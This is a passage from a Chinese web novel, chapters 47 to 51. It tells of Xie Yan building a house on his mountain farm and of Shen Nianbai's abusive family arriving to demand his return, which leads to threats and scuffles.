谢言快要闭上的眼睛猛地睁开了,他转身看去,看到是许承志,他问道:“怎么了?”
许承志有些犹犹豫豫的,好一会儿才说明来意,他们也想暂时在灵秀山住下。
谢言自然没有异议,只有一个要求,“你们的茅草屋要跟宋师傅他们家的茅草屋分开,不能隔得太近了。”
许承志忙不迭的点头,“谢谢谢大哥。”
“没事。”
谢言心想,这有什么好谢的,反正是他们自己搭房子。
许承志道:“谢大哥,我先回去干活了,有事你叫我。”
“嗯。”
许承志欢天喜地的走了,被他这么一打岔,谢言的瞌睡也没了,又开始认认真真蔬果了。
谢言在山上干到天快黑了才回去,回去一看,嚯,一大一小两个茅草屋都已经建起来了,就在竹屋的左边,两个茅草屋隔了起码有十米远,这个距离谢言是满意的。
沈念白见他回来,喊了他道:“谢言哥,吃饭了。”
其他人也纷纷喊道:“谢大哥。”
谢言饿得不行,“吃饭吃饭。”
因为谢言中午的话,今天晚上沈念白炒了一盘炝炒土豆丝,但只有一小盘,他解释道:“下午我去地里看了,只有几个辣椒能吃,就只炒了一小盘。”
谢言道:“没事,大家分分,一人一筷子尝尝味。”
许承志见他们说得这么珍贵,好奇的问道:“谢大哥,这是什么啊?”
谢言道:“辣椒,要不要尝尝?”
许承志左右看了看,眼神疑惑的扫过旁边的人,“辣椒是什么?”
谢言回道:“调味的,跟花椒差不多,但是花椒是麻,辣椒是辣。”
纵然他解释了,但大家明显还是不知道辣到底是什么味,看着大家疑惑又好奇的样子,谢言直接说
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道:“一人一筷子,尝尝辣椒什么味。”
谢言已经开了口,但并没有人去夹,明眼人都看得出来这是沈念白特意给谢言炒的。
谢言见状便端起盘子递到许承志面前,“尝尝。”
许承志受宠若惊,连忙道:“哎哟,谢大哥,这..”他这才小小的夹了一筷子。其他人见状连忙道,“谢大哥,你放下吧,当心烫着。”
“我不客气你们也别客气,都尝尝吧。”谢言说完才将盘子放在桌子上,其他人这才一人夹了一点,最先夹的许承志辣得耳朵都红了,愣是闷着不吭声,其他人吃了过后也是辣得你看看我我看看你,但谁也没吭声,最后还是宋绥安小声的说了句,“爹,我要喝水。”
宋明笙这才赶紧起身给他倒水,其他人见状一蜂窝的全都涌到了水桶边,许承志舀了一大瓢水,一人喝一口给喝完了。
谢言见状也不在客气,夹了一节辣椒慢慢吃了起来,其他人解了辣看到谢言面色不改的吃着辣椒,不由得问道:“谢大哥,你不觉得嘴巴痛吗?”
谢言回道:“辣椒就是这个味,我吃习惯了。”
许承志由衷的竖起了大拇指,“谢大哥,你真厉害。”
沈念白和柳梦寒相视一笑,倒是没有说话。
吃完了饭,谢言将今日的工钱发了。拿到钱大家伙的脸上都是笑意盈盈的,谢言见他们笑也不由得笑了出来,等不了多久他的房子就能建起来了,这日子想想都有奔头。
开心完了,谢言正在想今天晚上他睡哪儿的时候,许承志来找他了,“谢大哥。”
谢言看向他,“嗯。”
许承志道:“谢大哥,我们今天晚上还是得回去。我们的行李都没有带来,要回去拿来。”
天都已经完全黑了,谢言不大放心,“天都黑完了,走夜路怕不安全,要不今天晚上将就一晚,明天白天回去拿?”
许承志拒绝了他的好意,“我们这么多人,不怕的,今天晚上月亮亮,走回去没有问题。”
谢言想着他们或许还是要回去跟家里人说一声,于是也没有强留,只是说道:“月光进了林子就没有了,多拿几个火把。”
“好。”
沈念白帮着许承志他们做了火把,一行人就拿着火把走了。谢言站在门前看着他们离开的背影,一行十二个人,倒是挺有安全感的。
送走了许承志他们,谢言找到了沈念白,“我去河里洗澡了,你跟宋师傅说一声,别撞到了。”
沈念白应声,“嗯。”
谢言回屋拿了换洗的衣服去河边洗澡了,这个天越来越热,但好在河水还是凉快的,谢言一边洗澡一边想,要是能做个泳池就好了,每天晚上游游泳也不错。不过这个想法也只是想想而已,他根本没有钱。
今天谢言没有睡午觉,还在洗澡就已经困起来了,他打了了一个呵欠,快速的涂抹着皂角。随着泡泡铺开皂角的清香弥漫开来,闻着越发的困了,洗完澡上岸已经困得不行了,走到牛棚倒头就睡了。
48.第 48 章
有了盼头日子就过得快,转眼离开工动土的时间就只有五天了,这五天内许承志一行人住进了新盖的茅草屋,每天天不亮就上山干活,天黑了才回来,一个个的干劲十足。宋明笙的图纸初稿画出来了,谢言大体满意但还是提了些小意见,他又拿回去改了。
上午谢言照常去割牛草,背牛草回来的时候听到有人在说话,“是这儿吗?”“应该是,都有庄稼。”
谢言以为是来做活的,出声问道:“你们找谁啊?”
他突然出声把两人吓了一跳,“谁在那儿?”
谢言转过玉米地,就看到了两人,一个年轻,一个年长,模样有些相像,看起来像是父子,穿着长衫,除了鞋底身上十分干净,一看就不是来做活的。
那两人看到谢言,开口问道:“我们找谢言,你知道他在哪儿吗?”
谢言背着一大背牛草,将他的腰都压弯了,他忙着去把牛草放下来,边走边回道:“我就是,你们找我什么事?”
那两人似乎有些不信,跟在谢言身后,“你就是谢言?”
谢言回道:“有什么问题?”
谢言背着草很难转头只能听到他们俩说话,年轻的语带不屑的说道:“他就是谢言?这跟说的完全都不一样,这不就是个臭长工嘛。”
年长的没有说话,两人也沉默了下来,跟着谢言回到了牛棚,谢言将背上的背篓放了下来,背篓打在地上发出‘砰’的声音。
谢言活动活动了肩膀,将牛草抱起来扔进食槽里,同时扭头看了两人,“你们到底是谁啊?”
年轻那个说道:“我是你大哥。”
谢言皱了眉,“什么大哥?”
中年男人拉住了年轻男人的手,“诶,没什么,我们就是听说你这里在招工,所以来看看。”
谢言问道:“来看什么?”
年轻男人问道:“你就是这里的老板?”
他的语气不大好,有种高高在上的傲气,谢言反问道:“跟你有什么关系?”
见他这么不识相,年轻男人顿时就凶了起来,“你什么态度,我是你大哥,你跟我好好说话,这里的老板是不是你?”
谢言看着他们俩,心里有了个大致的猜想,他没有回答他的话,只是提醒他道:“你能不能站远点,你要踩到我的床了。”
听到他的话,两人下意识的低头看去,就看到不远处有一个窝,年轻男人当即叫了起来,不敢置信中又带了些幸灾乐祸,“你住牛棚啊?”
此时这边的声音传到正准备做饭的沈念白和柳梦寒的耳里,两人循声走了过来,由于有两个陌生人,所以两个人也没有出声。
谢言朝柳梦寒说道:“他们俩是来做活的。”
柳梦寒是个看得懂眼色的,接了话道:“既然是来做活的,那就过来登记吧。”
年轻男人听着两人的对话,猜测着问道:“你才是这里的老板?”
从他的语态中柳梦寒感觉到了恶意,他拿不定主意便看向了谢言,见谢言没有否认,他便模棱两可的说道:“怎么?有问题?”
年轻男人道:“没有没有,我就说嘛,他一个野狼养大的畜生能有什么能力?还做起生意来了,真是笑话。”
听到他的话柳梦寒和沈念白都皱起了眉头,但谢言一点表示都没有,甚至在看向他们的时候暗暗使眼色,让他们不要说话,两人也是看得懂眼色的,就真的没有说话。
中年男人看向柳梦寒问道:“这三座山明明是谢家给谢言的,怎么你成了老板呢?”
柳梦寒语气也不好了,“既然是来调查的,不知可有官府的令牌?”
柳梦寒语气一差,两人的脸瞬间沉了下来,年轻男人说道:“还老板,我还以为有多风光呢,不过就是把一些没人要的废物藏在深山里躲避丁税,我虽然没有官府的令牌,但只要我去官府一说,你们这些人全部都要进大牢。”
年轻男人骂了一通,沈念白和柳梦寒听着脸色越发难看了,谢言倒是没什么表情,只是说了句,“说完了,我要上山了,麻烦让让。”说完就撞开了年轻男人往外走去。
年轻男人被撞了一个趔趄,冲上去拦住了谢言,“你敢撞我,你不想活了。”
谢言长得比他高,比他壮,他在谢言面前就跟个鸡仔似的,谢言居高临下的看着他,“想打人?”
柳梦寒手都捏紧了,连忙操起旁边的扁担,憋足气喊了声,“打他。”
沈念白见状赶紧跑开了,柳梦寒忙喊他,“诶,念白。”
年轻男人见状就笑了,“废人就是废人,一点胆量都没有。”
却不料话音一落,就看见沈念白拿着砍刀跑了过来,见状是朝年轻男人去的,年轻男人吓坏了,连忙躲到了谢言背后,但他又太矮了看不到前面,就露出半个身体指着沈念白吼,“你要干什么你,还不快把刀放下。”
谢言也没料到他会拿刀,怕闹出事来,也劝了他道:“念白,快把刀放下。”
沈念白紧紧的握着刀,却没有要放下的意思,他恶狠狠的瞪着年轻男人,出声吼道:“走,走。”
中年男人本来就不敢近前,现在见沈念白情绪不稳定,退了两步后出声劝道:“哎呀,有话好好说,咱们有话好好说嘛。”
听到他说话沈念白转向了他,“你也走。”
中年男人见状转身就跑了,年轻男人见他跑了,赶紧追了上去,两人跑出去的时候撞上了听到声音急急赶回来的许承志等人,但许承志也没有拦两人,眼睁睁的看着两人跑远了。
这边谢言走到沈念白面前,拍了拍他的肩膀,喊了他一声,“念白。”
沈念白似乎在出神听到他的声音才回过神,谢言抽走他手里的刀,安慰他道:“别跟他们一般见识,咱们过自己的日子,不跟他们计较。”
柳梦寒问道:“他们是谁啊?”
此时许承志他们走了过来,见到谢言手里还拿了刀,连忙问道:“谢大哥,你们没事吧?”
谢言摇摇头,将手里的砍刀扔到了地上。
许承志颇为诧异的问道:“谢逐杨和他父亲来做什么?”
柳梦寒皱着眉问道:“姓谢?”
谢言已经猜到了两人的身份,但他并不想跟他们有什么牵扯,只道:“不用管他们
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,都干自己的去吧。”
人都走了,现在说什么也没用了,只会耽误干活,许承志道:“谢大哥,有事你就喊我们,兄弟们都不是怕事的。”
谢言扬了扬下巴,“嗯,去忙吧。”
一行人又匆匆忙忙上山去了,柳梦寒见沈念白状态不对,安抚他道:“没事了,念白。”
沈念白朝他露出一个勉强的笑,“嗯,我们去做饭吧。”
柳梦寒只当他是吓到了,也没有多说什么,两人就一起去做饭了。
谢言看着地上的砍刀,捡起来放在旁边,然后背着背篓又上山去了。他知道他们是谢家人,也猜到他们是来干什么的,无外乎是听说灵秀山赚钱了想来分一杯羹,他不怕他们但也不想跟他们起冲突,希望这一次能多糊弄谢家人一段时间。
另一边,谢逐杨和谢复朝跑出去老远还不敢停,谢逐杨气喘吁吁的,“哎呀,不行了,我跑不动了。”
谢逐杨说着就停了下来,谢复朝见他停了下来也在他前面停了下来,他回头看去,只见一片郁郁葱葱,根本没有什么人。
谢复朝道:“没有追上来。”
谢逐杨大大的松了口气,“可累死我了。”说着就坐到了地上,谢复朝见状连忙说道:“还不快起来,要是被你奶奶知道,非要打死你不可。”
谢逐杨毫不在乎的说道:“这鸟不拉屎的地方,你不说她怎么会知道?”
这也是,于是谢复朝也一屁股坐了下去,不仅坐了下去还躺了下去,谢逐杨见状说道:“父亲,你平时不是最相信奶奶那一套吗?”
谢复朝看着谢逐杨说道:“祖上荣光就靠你们恢复了,等你们官至三品,我必定时时刻刻正衣冠,谈吐文雅,泰山崩于前面不改色。”
谢逐杨连忙摆手,“这话不用对我说,对我说了也没用,你都没有实现,就更别指望我了。”
谢复朝道:“祖先二十八岁中的状元,你现在才二十五岁,还有机会。”
谢逐杨跟他说不明白,转了话题,“刚才他喊拿刀的那个人念白,这名字怎么那么耳熟?”
他这么一说,谢复朝也觉得耳熟,“我也觉得耳熟,这个名字是不是在哪儿听过?”
谢逐杨笃定道:“肯定听过,不然不会觉得耳熟。”
但是两人想了半天也没有想起来到底是在哪里听到过这个名字,就在两人起身准备走的时候,谢逐杨脑中灵光一闪,“我想起来了,念白。沈家五年前死掉的那个孩子是不是就叫沈念白?”
谢复朝听到他的话瞬间就懵了,他也想起来了,沈家五年前有个孩子死在了大山里,沈家人当时说是失足摔下山崖,连尸骨也没有。
明明太阳鼎盛,可谢复朝却觉得后背发凉,一眼望不到尽头的深山此刻变得诡谲阴森,谢复朝大叫一声,疯狂往前跑去,边跑边喊,“有鬼啊。”“有鬼啊。”
谢逐杨本来没有什么,听到他这么一喊,还以为沈念白追来了,也不敢回头看,也不要命的往前跑。山路本来就不好走,跑起来就更不好走了,谢复朝突然一脚踩空就滚下了山崖,谢逐杨看见了但收脚不及也一起滚了下去。
49.第 49 章
转眼就到了动工这天,谢言兴奋得一晚上没睡,第二天更是早早就起来了,其他人比他还早,许承志他们半夜就出发去接张七公了。
沈念白带着柳梦寒和宋家人在煮早饭,谢言走过去时,其他人都喊他,“谢言哥。”“谢大哥。”“谢老板。”而听到他们的声音沈念白似乎才回过神,轻轻的喊了声,“谢言哥。”他的嘴巴动了动,但声音很小,不过谢言也没有在意,“辛苦了。”
谢言到处转了一圈,还没有看到张七公他们来,他又闲不住,于是背着背篓上山割牛草去了。
谢言背着牛草回来时,张七公他们总算是来了。
“七公。”谢言与他打了招呼赶紧把牛草背倒牛棚里去,张七公看到谢言忙碌的背影,眼神中露出赞赏的神色。
谢言过来,张七公与他说道:“东西都准备好了,我现在就开始摆祭台了。”
谢言道:“好,有什么需要的直接说就是。”
张七公见他浑身脏兮兮的,与他说道:“谢老板,敬香不是小事,你还是去换身干净的衣服。”
谢言连忙应承,“我这就去洗澡。”说完与许承志说道,“你们帮七公布置。”
许承志他们应了声,谢言赶紧回房拿了干净的衣裳去了河边,天已经亮了,他选了一个隐蔽的位置,伸手摘了皂角后下了水,上上下下的洗了三遍,浑身都是皂角的香味,这才上了岸。
谢言看着岸边的脏衣服,顺手搓了,回到家谢言晾衣服,许承志看见了连忙来帮忙,“谢大哥,我来吧。”
谢言客气道:“不用,就两件衣服,我自己来就行。”
在谢言晾衣服的时候,许承志拿过他手里的裤子,给他晾了。
洗干净的谢言穿上新衣服,整个人精神抖擞的,张七公已经布置好一个祭台了,正在布置第二个,谢言虽然不懂,但也凑过去看。
张七公的动作不快,三个祭台布置完太阳都已经老高了,大家早饭没吃,都饿了。谢言就说:“七公,先把早饭吃了来吧。”
张七公道:“土地神都没吃呢,急什么。”
听他这么说谢言也不敢说话了,就在旁边等着。张七公看着天色,计算着时间,巳时一到,张七公就喊了谢言,“谢老板,敬香。”
谢言赶紧过去,点了香,虔诚的拜了三拜,将香插进了香炉中,谢言拜完,其他人一一拜过。三个祭台拜完后,张七公说:“现在动土。”
谢言拿着铁锹到选好的地址上挖了一铁锹,顺顺利利,一点阻碍没有,张七公这才说道:“可以了。”
祭祀完,众人这才开始吃早饭,吃饭时张七公与谢言说道:“祭台要摆三天,每天都要上香。”
谢言应下,“好。”随即又问道,“那这三天能动土吗?”
张七公说道:“能。”
“好。”
吃完了早饭,张七公将买贡品剩下的三文钱还给谢言,谢言接了过来,又取了十文钱给张七公,“七公,劳你跑一趟。”
张七公推拒了,“钱上次已经收过了。”
谢言道:“那算是我的感谢钱,我这个人是个大老粗,在山里生活久了,什么都不懂,要不是您,这次开工肯定没这么顺利,这是我的一点心意,钱不多,您务必要收下。”
谢言说得诚恳,张七公便收下了,他道:“你是个做大事的人。”
谢言笑道:“承蒙七公吉言。”
送走了张七公,谢言就组织大家开始动工了,从打地基开始。宋明笙在旁边指挥,谢言亲自带着人挖地基,就连沈念白和柳梦寒都一起挖了半天,但家里的活不能没人干,所以沈念白和柳梦寒还是干家里的活去了。
开荒完全停了下来,在谢言的指挥下,所有人一门心思的开始建房子,谢言每天除了往山上跑就是在建房子。大概是多年心愿终于如愿以偿,谢言爆发出了超强的行动力,每天月上高头才睡,天不亮就起了,在他的带动下,大家都干劲十足。
原本计划一个月才能挖好的地基,半个月就挖好了。地基挖好后就要开石头来填地基了,山上石头也多,每天山上‘吭吭吭’的响,但开石头不比挖地基,稍有不甚就要受伤,晚上没亮的时候是干不了的,所以进度就慢了下来。
这天谢言难得的睡个早觉,走到牛棚刚下躺下去就听见有人喊他,“谢言哥。”
夜里黑漆漆的,谢言又没有看到人,还吓了一大跳,“哎哟。”
见谢言吓着了,柳梦寒连忙从暗处出来,又喊了他一声,“谢言哥,是我。”
谢言自然是看见他了,“怎么了?”
柳梦寒也没有跟他兜圈子,直接说道:“我觉得念白这段时间有点不对劲。”
“嗯?”谢言这段时间沉浸在建房子的喜悦中,倒是没有发现沈念白有什么不一样,“怎么了?”
柳梦寒道:“他没说,但我总觉得他有心事,从那两个姓谢的来过之后就开始。”
跟姓谢有关系?谢言想不出来沈念白跟他们会有什么关系,于是跟柳梦寒说:“行,我去问问他。”
柳梦寒道:“你可千万别说是我说的,他现在在洗澡,你等会在去吧。”
“行,你去吧。”
结果柳梦寒一转头就看到了不远处的沈念白,正看着他与谢言,只不过在他看见的时候立马就低下头走了。
柳梦寒赶紧回头与谢言说道:“谢言哥,念白回来了。”
“嗯。”
沈念白正在晾衣服,现在人多了,他一个人要洗所有人的衣服,很大一盆,谢言走过去一起晾,也就在这个时候他察觉到了沈念白确实不大对劲,要是以前他必定要喊他的,但现在他什么话都没说,谢言又想起来,好像这段时间沈念白是一直都很沉默。
谢言出声问道:“有心事?”
沈念白停了手上的动作,侧头看向了谢言。今晚的月亮不亮,但落在沈念白的身上,却依然熠熠生辉,他的眼睛盛满了黯淡的月光,他没有说话但又好像什么都说了。
谢言缓了声音,“怎么了?为什么不开心?”<
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沈念白扯了扯嘴角,似乎想笑又似乎想说话,但最后他并没有开口,只是扭过了头,继续晾起了衣服。
谢言看得有些着急,他喊了他一声,“念白。”
此时沈念白才终于说话了,他轻飘飘的说了一句,“没事,可能是累着了。”
谢言道:“累了就去休息吧,剩下的这些我来晾。”
沈念白顿了一会儿后,转身进了屋。
沈念白一走,柳梦寒就从暗处出来了,走到谢言旁边开始一起晾衣服,同时低声问道:“怎么样了?”
谢言摇头,“不知道。”
柳梦寒不理解,“不知道是什么意思?”
谢言道:“就是不知道。”
柳梦寒看着谢言,但是天太黑了,他根本看不清楚他脸上的表情,他也不好一直追问,默默地开始晾起了衣服。
两个人心里都有事,谁也没有发现屋内的沈念白也在默默的看着他们。
第二天谢言从山上背牛草回来,就听见有人在吵吵,“沈念白。”“沈念白出来。”
这声音听着不友善,谢言大喝了一声,“干什么的?”
这个时候,沈念白和柳梦寒也上山去了,其他的工人都去山上开采石头了,所以家里没人。
谢言从玉米地转弯出来就看到三个人高马大的黑大汉在他门前站着,领头那个是个中年男人,剩下的两个看起跟谢言年纪差不多,谢言心一凛,难道这就是沈念白的家人?
三人自然也看见了他,见他长得壮又背着这么大一背牛草,不由得皱起了眉,“你是谁啊?”
谢言没有跟他们废话,将牛草背到牛棚里去倒到地上,恍若无人的开始喂牛,那三人追上前,“跟你说话呢,沈念白呢?”
谢言冷着脸,扭头看向三人,经过昨天晚上的事他心里本来就不舒服,现在看到他们气更大了,“你们谁啊?跑到人家来大吵大闹,懂不懂规矩?”
中年男人说道:“我是沈念白他老子,你把他藏起来了,赶紧把他交出来,不然老子今天把你这破地方砸了。”
谢言脾气也上来了,“你砸一个试试看。”
中年男人呸了一声,就要动手,两个年轻人连忙拉住了中年男人,“我们是来找人的,别跟他一般见识。”
谢言冷声道:“这里没有你们要找的人,在纠缠别怪我不客气了。”
中年男人不信邪,大声骂道:“你把我儿子藏起来了,你还不客气,你要是不把人交出来,今天我要跟你拼命。”
谢言二话不说操起旁边的锄头,用力的往地下一扥,“拼命是吧?来啊,看谁怕谁。”
两年轻男人见状死死的拉住了中年男人,与谢言说道:“我们真的是沈念白的家人,你让他出来跟我们见一面就行了。”
谢言冷声道:“滚。”
“嘿,你这个敬酒不吃吃罚酒是吧..”
就在此时,不远处的玉米地传来了柳梦寒清脆的声音,“诶,这个黄瓜好好吃,念白,你尝尝。”
50.第 50 章
话音一落就见柳梦寒和沈念白出现了众人的视线中,沈念白背着一背猪草,在看到不远处的人时瞳孔一缩,将背篓扔到地上,转身就跑。
他这一跑沈家人就知道他的身份了,连忙就要追,谢言拿起锄头拦住了两个人年轻人,“停下。”
但中年男人跑着追上去了,谢言朝柳梦寒大喊,“拦住他。”
柳梦寒虽然比不上中年男人壮实,但他手里有镰刀,听到谢言的话,拿着镰刀吓唬中年男人,“别过来。”
中年男人顿住了,但很快他就从柳梦寒发抖的双手中看出了他根本没有底气,于是一个健步从玉米地跑了过去。
柳梦寒都要急哭了,转身连忙追了上去,“站住,站住。”
人都追上去了,在拦这两个也没有意义了,于是谢言扔了锄头也连忙追了上去,同时大声喊道:“拦住他。”
但是打石头的声音太大了,也不知道许承志他们能不能听见。
不过很快,谢言就意识到许承志他们能不能听见无所谓,因为中年男人跟丢了。中年男人对这一片完全不熟,而沈念白在这里生活了五年,天天在山上干活,对这一片熟得不能在熟了,只要他跑进山里,中年男人根本不可能跟上他。
中年男人慢慢的走进山林,同时大声喊道:“念白。念白。”
两个年轻男人也开始找人,“念白。”“念白。”
谢言没有去找,最开始的担忧过去,理智回笼,他想他知道沈念白去哪里了。柳梦寒找不到沈念白,就折返回来了,他看到谢言在路上站着,连忙过来问道:“谢言哥,他们是谁啊?怎么跟土匪一样?”
谢言道:“应该是念白的家人。”
“啊?”柳梦寒先是吃了一惊,他回头看了一眼还在到处找人的沈家人,很快就明白了,难怪沈念白宁愿躲到深山也不愿意回去。
谢言深吸了一口气,他看着茫茫大山,此刻他真的希望山上有山神能保护沈念白。
柳梦寒问道:“谢言哥,咱们不去找吗?”
谢言微微摇了摇头,现在把沈念白找出来让他怎么面对沈家人呢?
柳梦寒又问道:“那咱们就这样看着吗?”
谢言心烦意乱的,他说道:“我也不知道。”
柳梦寒也看出来他心情不好,他心里很着急,但是他又不知道该怎么做,现在连唯一他觉得能依靠的人也没有主意。
山间还传来‘吭吭吭’打石头的声音,一声高过一声,在山间散开,撞上山壁又荡了回来,随着沈家人越走越远,他们的声音被打石头的声音完全盖住了,一点都听不见了。
柳梦寒站了一会儿也冷静了下来,他道:“我回去做饭了。”
谢言应了一声后,追着沈家人上了山。开荒出来种庄稼的地比起整座山来说并不多,沈家人很快就走完了庄稼地,走进了密林中。
密林的边缘谢言他们经常走,踩出来了路,沈家人就沿着路走,谢言追着他们来到了竹林。
沈家人就在竹林绕来绕去,因为谢言他们踩出来的路到竹林这儿就断了。
“念白。”“念白。”
“沈念白,你这个小兔崽子,还敢跑,等老子找到你,一定要扒掉一层皮。”
中年男人骂骂咧咧的,谢言听不过去,上前与他骂了起来,“你在放什么狗屁,不会说话就把你的嘴巴闭起来。”
中年男人正一肚子火没地方发,指着谢言骂道:“你也是个有娘生没娘养的东西,拐了我儿子这么多年。”
谢言气狠了,操起旁边的竹子就朝中年男人打去,这是之前盖茅草屋没用的竹子,砍多了没有扛回去的。
中年男人没想到他真的敢动手,他抹了一把脖子上的血,朝两年轻男人说道:“打他。”
谢言见状,一根竹子耍得呼呼作响,打得三人不停的窜,他们想去拿竹子,但是谢言根本不给他们这个机会,没一会儿三人就没力气了,鼻青脸肿的躲在竹子后面。
中年男人朝谢言说道:“你敢打人,我要去报官,把你捉起来。”
谢言将竹子用力的往竹丛打去,‘砰’的一声大响,竹子大肆的摇动起来,竹叶‘刷刷刷’的响。
三个人吓了一大跳,谢言冷声道:“你们三个跑到我家里来偷东西,我打小偷还理亏吗?”
中年男人辩驳道:“放你娘的狗屁,你说谁是小偷?”
谢言反问道:“不是小偷你们平白无故的跑到我家来干嘛?”
中年男人道:“我们是来找孩子的。”
谢言冷冷道:“你看看这山上哪个是你的孩子?”
中年男人道:“就是你把我儿子给藏起来了。”
谢言道:“你有证据吗?没有证据,你这样诬陷我,我告到官府去你可是要蹲大狱的。”
中年男人道:“等我把人找到,看你还嘴硬。”
谢言道:“找啊,你找个出来看看,找不到我就要去官府告你强闯民宅,把你关起来。”
中年男人吃瘪了,不跟谢言说话,又喊起人来,“沈念白,沈念白。你还不出来,你爹要被打死了。”
谢言冷冷的看着他们,“找不到就赶紧给我滚,这是我的山不是你家后花园。”
几人僵持不下,最后还是回来吃中午饭的许承志一行人听说了这事,在柳梦寒的带领下来到了竹林,许承志他们喊了声,“谢大哥。”
谢言点了头,与中年男人说道:“是你们自己走,还是我喊人把你们扔出去。”
对面人多势众,中年男人带着两年轻人一边出山一边骂骂咧咧的,“都是一群乌合之众,被扫地出门没人要的家伙,竟然还摆起威风来了,等我找到人,一定要你们好看。”
谢言道:“走路就走路,狗叫什么。”
中年男人气狠了,回身捏起拳头就朝谢言打去,都是做农活的,但显然谢言的力气更胜一筹,单手就在空中捏住了他的手,用力一拧,中年男人就吃痛的大叫,两年轻男人连忙大叫,“别打了别打了,我们走,
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我们走就是了。”
谢言狠狠的甩开了中年男人的手,中年男人一个趔趄,谢言冷声道:滚。
中年男人在谢言那儿吃了瘪,知道自己打不赢,于是也不骂了,径直出了山,但是走到竹屋他就不走了,他坐在地上,“你不把人交出来,我是不会走的,有本事你就打死我,我倒要看看沈念白这个狼心狗肺的家伙是不是真的连自己的亲爹也不认了。”
看着他们无赖的样子,谢言道:“不用管,我们吃饭。”
没有了沈念白,柳梦寒一个人根本搞不定,中午就只炒了两个菜,一个鸡蛋丝瓜,一个红薯叶。
柳梦寒略感歉意,“不好意思,事发突然,我只炒了两个菜。”
谢言道:“大家将就着吃吧。”
许承志他们表示理解,“没事的,有得吃就行了。”
在大家的议论声中,谢言才知道中年男人名字叫沈熊,是沈念白的父亲,那两个年轻人一个叫沈念玉,是大哥,另外一个叫沈念英,是老二。
大家刚端上碗,沈熊就说话了,大大咧咧的说道:“我们也要吃饭。”
谢言冷眼看着他,“痴人说梦。”
沈熊看向他,“不给?”
谢言道:“不给。”
沈熊‘噌’的一下从地上站了起来,几步走到灶台前,威胁着谢言道:“不给我就给你把灶推了,大家都别吃。”末了他又补了一句,“有本事你就打死我。”
谢言气得不行,许承志上前讲和,“沈三叔,咱们讲讲道理,有话好好说...”
他话还没有说完,沈熊就打断了他的话,“你个被扫地出门的家伙,有什么资格跟我说话,滚开。”
许承志被他戳中痛处,也没有在说话了,低着头走开了,其他人见状也没有人敢上前了。谢言虽然不知道沈熊说的是什么意思,不过他也不在乎,他冷笑了一声,“猪鼻子插大葱你真把自己当头象了,要吃饭是吧?”谢言说着放下碗就站了起来,进屋拿了砍刀朝沈熊走了过去,“要吃哪只手,剁来我给你炖。”
“疯子。”“疯子。”沈熊见他眼底涌动的疯狂,加上柴刀又磨得锃亮,沈熊到底还是怕了,后退了两步离开了灶台,然后带着沈念玉和沈念英上山去了。
柳梦寒道:“谢大哥,他们又上山去了。”
谢言道:“先吃饭。”
谢言端起饭就开始扒,大口大口的扒,很快就吃完了,末了他跟柳梦寒说:“给我装一份饭。”
听到他的话柳梦寒先是愣了一下,但随即反应过来他是给沈念白准备的,“我炒个鸡蛋。”
在等饭的时间,谢言看到沈熊他们爬上了李子树,正在摘果子吃。这个时节水果陆陆续续都熟了,谢言担心钟程台那边没办法交差,于是让许承志带着人去保护果树,同时叮嘱他们,“不准让他们上山去。”
许承志他们齐齐应声,“谢大哥放心。”
等许承志他们把沈熊三人围起来后,谢言这才带着饭菜上了山。
51.第 51 章
在最初遇见的山洞,谢言找到了沈念白,大热的天他蜷缩成一团靠在山壁上,肩膀不停的颤,谢言正要开口,就听见沈念白戒备又无助的声音传来,“走开。”
沈念白抬头对上谢言的视线,他的眼眶比天边的火烧云还红,眼泪不受控制的滑落,他局促的扭开脸不在看向谢言,将脸深埋在膝盖里,防御的姿态做得很足。可谢言怎么会介意,看到沈念白这样子只会觉得心痛,他走了进去,摸了摸他的头顶,温声说道:“许承志他们把人给围住了,他们上不来,你放心。”
沈念白埋着头不说话,谢言又继续说道:“早饭就没怎么吃,梦寒给你炒了鸡蛋,吃饭吧。”
沈念白还是不说话,谢言也没有逼他,“记得把饭吃了,我走了,晚上在来给你送饭。”
一直到谢言离开,沈念白都没有在说一句话,谢言站在洞口停留了好一会儿,只听到了风过树梢的声音,他轻轻的叹了口气,下了山。
回到家中,许承志他们还围着沈熊他们,谢言看见了什么都没有说,柳梦寒见他回来,连忙问道:“念白怎么样了?”
谢言顿了一下回道:“不太好。”
柳梦寒闻言十分担心,急得在原地直转圈圈,最后与谢言说道:“谢言哥,你跟我说念白在哪里,我去陪他。”
谢言犹豫了一会儿,“算了,我晚上再去看看。”
柳梦寒看着谢言挣扎了好一会儿,还是没有在说话了。
出了这档子事,谢言也没有心思上山了,他走到沈熊面前,沈熊饿了,坐在地上直哼哼,谢言居高临下的看着他,问道:“说吧,你要怎么样才愿意放过沈念白?”
沈熊抬头看向谢言,强烈的阳光刺眼他不由自主的眯起了眼睛,他反问道:“你不是说人不在这儿吗?”
谢言道:“你就是怎么都不肯放过他是吧?”
沈熊道:“你要是一直是这种态度,我肯定是不会放过他的,除非他一直躲在山上不见人,不然老子一定要他好看的。”
听着他混不讲理的话,谢言怒从心头上来,但又强制压下去了,他问道:“你到底想怎么样?”
沈熊道:“饿了,脑子也糊涂了,我也不知道我到底想怎么样。”
谢言深吸了一口气,朝柳梦寒说道:“去给他端碗饭来。”
沈念玉和沈念英连忙道:“我们也要,我们也饿。”
谢言冷冷的扫了他们一眼,“被你们糟蹋的果子,会把钱算出来让你们赔的。”
沈念玉忙道:“我们是要吃饭。”
谢言道:“没有。”
很快柳梦寒就把饭端来了,谢言接过饭,蹲在沈熊面前,饭香味随风飘散,沈熊饿狠了,伸手去抢饭碗,谢言躲开了,“说吧,你到底要怎么样才肯放过沈念白?”
沈熊看着他大有衣服不给他吃饭就不说的意思,谢言不想跟他耗着,就把饭递给了他,沈熊接过来大口大口的吃着,沈念玉和沈念英在旁边直咽口水,“父亲,你别吃完了给我们留点啊。”
沈熊几大口就把饭吃完了,他将空的饭碗扔到谢言脸上,谢言猝不及防鼻子都被砸出了血,柳梦寒和许承志他们赶紧问道:“谢大哥,你怎么样了?”
许承志他们赶紧把谢言扶了起来,谢言鼻血流个不停,沈熊大声说道:“我怕你奶奶个龟孙,只要我们今天没回去,明天我大哥,我二哥,就会找过来,你以为我真的会怕你吗?笑话,老子在这小叶子几十年了,会怕你们这些个毛都没长齐的混蛋?”
谢言知道跟他说不通了,于是留下几个人看着他们,不让他们在山上搞破坏,其他人都撤了。
回到家,谢言的鼻血还是止不住,柳梦寒打了冷水来给他拍后脖颈,他担忧的说道:“明天沈家的人真来了,我们可怎么办?”
谢言道:“我们占理,你怕什么?”
柳梦寒道:“我就是担心念白,他一个人在山上不知道下面的情况,肯定很惶恐。”
